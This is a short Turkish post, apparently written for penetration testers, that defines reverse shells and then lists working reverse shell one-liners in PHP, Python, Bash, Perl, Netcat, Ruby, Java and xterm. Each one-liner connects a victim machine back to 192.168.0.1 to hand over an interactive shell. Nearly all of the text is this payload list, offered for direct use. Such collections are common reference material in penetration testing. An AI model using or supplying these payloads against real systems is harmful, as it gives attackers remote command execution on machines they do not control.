Kurban bilgisayarında çalıştırıldığında saldırganın dinlediği bir port’a bağlantı talebi gönderen ve saldırganın bu sayede kurban bilgisayarında komut çalıştırmasına olanak sağlayan scriptlere reverse shell komutları denilmektedir. Bir penetrasyon testi sırasında bir komut yürütme güvenlik açığı bulabilecek kadar şanslıysanız, kısa bir süre sonra muhtemelen etkileşimli shell kullarak sisteme erişeceksiniz. Yeni bir hesap / SSH anahtarı / .rhosts dosyası eklemek mümkün değilse, bir sonraki adımınız reverse shell kullanmak veya shell ile TCP portuna bağlamak olacaktır. Bugünkü yazımda sizlere kolaylık sağlaması adına farklı programlama dillerinde ve platformlarda kullanılmak üzere yazılmış olan reverse shell kod parçalarını paylaşacağım.
PHP için;
php -r '$sock=fsockopen("192.168.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Python için;
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash için;
bash -i >& /dev/tcp/192.168.0.1/4444 0>&1
Perl için;
perl -e 'use Socket;$i="192.168.0.1";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Netcat için;
nc -e /bin/sh 192.168.0.1 4444
Ruby için;
ruby -rsocket -e'f=TCPSocket.open("192.168.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java için;
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm için;
xterm -display 192.168.0.1:4444